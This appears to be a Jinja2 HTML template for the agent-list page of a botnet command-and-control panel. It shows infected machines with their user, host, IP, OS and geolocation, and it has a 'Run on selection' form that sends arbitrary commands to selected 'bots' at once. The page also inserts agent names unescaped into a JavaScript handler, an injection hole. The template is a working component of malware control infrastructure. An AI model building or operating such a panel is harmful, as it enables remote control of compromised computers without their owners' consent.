{% with previous_page=url_for('webui.index'), title="Agent list" %}
{% include "header.html" %}
{% endwith %}

<div class="container">
  <button onclick="return uncheckboxed('selection')">UnSelectAll</button>
  <button onclick="return checkboxed('selection')">SelectAll</button>
  <section id="main_content">

      <form method="post" action="{{ url_for('api.mass_execute') }}">
      <input type="text" name="cmd" id="cmd" style="width:50%" />
      <input type="submit" name="execute" value="Run on selection" />
      <input type="submit" name="delete" value="Delete selection" onclick="return confirm('Remove selected agents from list ?')"/>
      <!-- <button onclick="return uncheckboxed('selection')">UnSelectAll</button>
      <button onclick="return checkboxed('selection')">SelectAll</button> -->
      <table>
      <tr><th>Name</th><th>Last Online</th><th>User</th><th>Host</th><th>IP</th><th>OS</th><th>Geolocation</th><th>Change name</th><th>Sel.</th></tr>
      {% for agent in agents %}
      <tr>
        <td><a href="{{ url_for('webui.agent_detail', agent_id=agent.id) }}" style="text-decoration: none">{{agent.display_name}}</a>  </td>
        <td>{% if agent.last_online %}{% if agent.is_online() %}ONLINE{%else%}{{agent.last_online.strftime('%Y/%m/%d %H:%M')}}{%endif%}{% endif %}</td>
        <td>{{agent.username}}</td>
        <td>{{agent.hostname}}</td>
        <td>{{agent.remote_ip}}</td>
        <td>{{agent.operating_system}}</td>
        <td>{{agent.geolocation}}</td>
        <td><a href="#" onclick="changeName('{{agent.id}}', '{{agent.display_name}}')" style="text-decoration: none">Change name</a></td>
        <td><input type="checkbox" id="checkbox_{{agent.id}}" name="selection" value="{{agent.id}}" /></td>
      {% endfor %}
      </table>
      </form>
  </section>
</div>

<script src="{{ url_for('webui.static', filename='js/jquery-2.1.4.min.js') }}"></script>
<script>
function changeName(agentid, name) {
    var newname = prompt("New name", name);
    $.post("{{ url_for('webui.rename_agent') }}", {'newname': newname, 'id': agentid}, function() {window.location.reload();});
}
function checkboxed(selec) {
  var selc_list = document.getElementsByName(selec);
  if(null!=selc_list){
    for (var index = 0; index < selc_list.length; index++) {
      selc_list[index].checked = "checkboxed";
    }
  }
}
function uncheckboxed(unselec) {
  var selc_list = document.getElementsByName(unselec);
  if(null!=selc_list){
    for (var index = 0; index < selc_list.length; index++) {
      selc_list[index].checked = "";
    }
  }
}

function keypressed(e){
    if(e.keyCode === 13){
        send_command();
    }
    return false;
}
function send_command(e) {
    if(!$(".botid:checked").length){
      alert('Please select at least one bot !');
      return;
    }
    $(".botid:checked").each(function(){
      
    });
    $('#cmd').val('');
    return false;
}
</script>

{% include "footer.html" %}
